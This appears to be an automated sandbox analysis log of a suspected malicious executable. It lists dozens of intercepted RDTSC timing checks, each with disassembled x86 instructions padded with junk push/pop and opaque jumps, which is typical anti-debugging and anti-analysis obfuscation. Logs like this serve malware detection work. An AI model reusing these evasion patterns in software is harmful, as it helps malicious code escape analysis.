Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E890F9 second address: E89105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89105 second address: E8910C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8910C second address: E89171 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C2110Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F5408C21108h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 movsx ecx, dx 0x00000027 mov edx, dword ptr [ebp+122D2232h] 0x0000002d mov ebx, dword ptr [ebp+1248A2EEh] 0x00000033 jnl 00007F5408C2110Eh 0x00000039 add eax, ebx 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jbe 00007F5408C2110Ch 0x00000044 js 00007F5408C21106h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89171 second address: E891E3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5408F9689Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, dword ptr [ebp+122D1EB4h] 0x00000013 push 00000004h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F5408F96888h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f pushad 0x00000030 pushad 0x00000031 mov di, cx 0x00000034 popad 0x00000035 xor ecx, 6E4C7F55h 0x0000003b popad 0x0000003c mov edx, dword ptr [ebp+122D3630h] 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F5408F96891h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6CFB second address: ED6D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6D01 second address: ED6D1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F96898h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7786 second address: ED77A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C21115h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jno 00007F5408C21106h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9D8D second address: ED9DA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F9688Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9DA0 second address: ED9DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9DAA second address: ED9DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9DAE second address: ED9DD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C2110Ah 0x00000007 jmp 00007F5408C21110h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9DD2 second address: ED9DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9DD6 second address: ED9DDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDDCAC second address: EDDCB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCF2B second address: EDCF30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD077 second address: EDD088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5408F9688Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD088 second address: EDD0B2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F5408C21106h 0x00000009 jmp 00007F5408C21118h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F5408C21106h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD0B2 second address: EDD0D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F96899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD0D6 second address: EDD0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5408C21116h 0x0000000b jno 00007F5408C21106h 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD0FF second address: EDD121 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F96896h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jl 00007F5408F96886h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD256 second address: EDD275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5408C21106h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d jmp 00007F5408C2110Ah 0x00000012 jp 00007F5408C21112h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD275 second address: EDD27B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD27B second address: EDD286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD6AF second address: EDD6D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5408F96898h 0x0000000f ja 00007F5408F96886h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD6D7 second address: EDD6E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C2110Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD82B second address: EDD835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDD835 second address: EDD83F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5408C21120h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5205 second address: EE5209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5209 second address: EE5218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F5408C21106h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5218 second address: EE521E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE521E second address: EE5230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 jnp 00007F5408C21106h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE319C second address: EE31A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE370D second address: EE3718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3A37 second address: EE3A3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3A3D second address: EE3A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3A43 second address: EE3A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE40E4 second address: EE40EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE40EA second address: EE40EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE40EE second address: EE4123 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F5408C21106h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F5408C21118h 0x00000012 jmp 00007F5408C2110Ch 0x00000017 jp 00007F5408C21106h 0x0000001d jmp 00007F5408C2110Ch 0x00000022 popad 0x00000023 pushad 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE4123 second address: EE4154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5408F9688Fh 0x00000009 popad 0x0000000a jmp 00007F5408F96895h 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F5408F96886h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE4154 second address: EE4158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8CED second address: EE8CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8CF3 second address: EE8D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F5408C21118h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8D12 second address: EE8D33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F9688Ch 0x00000007 push esi 0x00000008 je 00007F5408F96886h 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jbe 00007F5408F9689Ch 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8D33 second address: EE8D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 jnp 00007F5408C21106h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8E8F second address: EE8E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8E95 second address: EE8E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE900C second address: EE902E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5408F96897h 0x00000009 ja 00007F5408F96886h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE902E second address: EE903E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5408C21106h 0x0000000a jng 00007F5408C21106h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE931D second address: EE9351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5408F96897h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F5408F96894h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE998D second address: EE999A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5408C21106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEE4BB second address: EEE4C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF78F2 second address: EF78F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF78F6 second address: EF7900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7900 second address: EF790A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5408C21106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF790A second address: EF790F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF790F second address: EF7922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edi 0x00000009 jc 00007F5408C21106h 0x0000000f pop edi 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5F97 second address: EF5FAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F9688Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6292 second address: EF62B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F5408C21106h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5408C21112h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF673A second address: EF6762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5408F9688Dh 0x00000009 popad 0x0000000a jmp 00007F5408F9688Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 je 00007F5408F96886h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF69ED second address: EF6A13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C2110Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F5408C2110Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F5408C21106h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6A13 second address: EF6A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6A17 second address: EF6A1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6A1B second address: EF6A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF70C9 second address: EF70D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF70D2 second address: EF70E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF70E9 second address: EF70F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5408C2110Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF70F7 second address: EF7111 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F96890h 0x00000007 jc 00007F5408F96886h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD1BC second address: EFD1C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD456 second address: EFD467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F5408F96886h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFAD9 second address: EFFAEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 je 00007F5408C2110Eh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFFAEB second address: EFFAFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F5408F96896h 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF972 second address: EFF976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A7F5 second address: F0A806 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5408F96886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A806 second address: F0A815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5408C21106h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A179 second address: F0A17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A17F second address: F0A187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A187 second address: F0A1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5408F96886h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5408F9688Dh 0x00000013 jmp 00007F5408F9688Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A333 second address: F0A36B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jne 00007F5408C21106h 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 jo 00007F5408C21106h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 pop eax 0x00000021 pop edx 0x00000022 jmp 00007F5408C21116h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F115CD second address: F115DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 js 00007F5408F96886h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F115DA second address: F115F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jp 00007F5408C21106h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F115F0 second address: F115F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B5FB second address: F1B608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jnp 00007F5408C21106h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DB3D second address: F1DB43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2106F second address: F21077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21077 second address: F2107B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29150 second address: F29154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29154 second address: F29166 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5408F96886h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29166 second address: F29185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C21119h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F296C4 second address: F296DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F5408F96886h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f pushad 0x00000010 jbe 00007F5408F96886h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F29968 second address: F2996F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2996F second address: F29975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
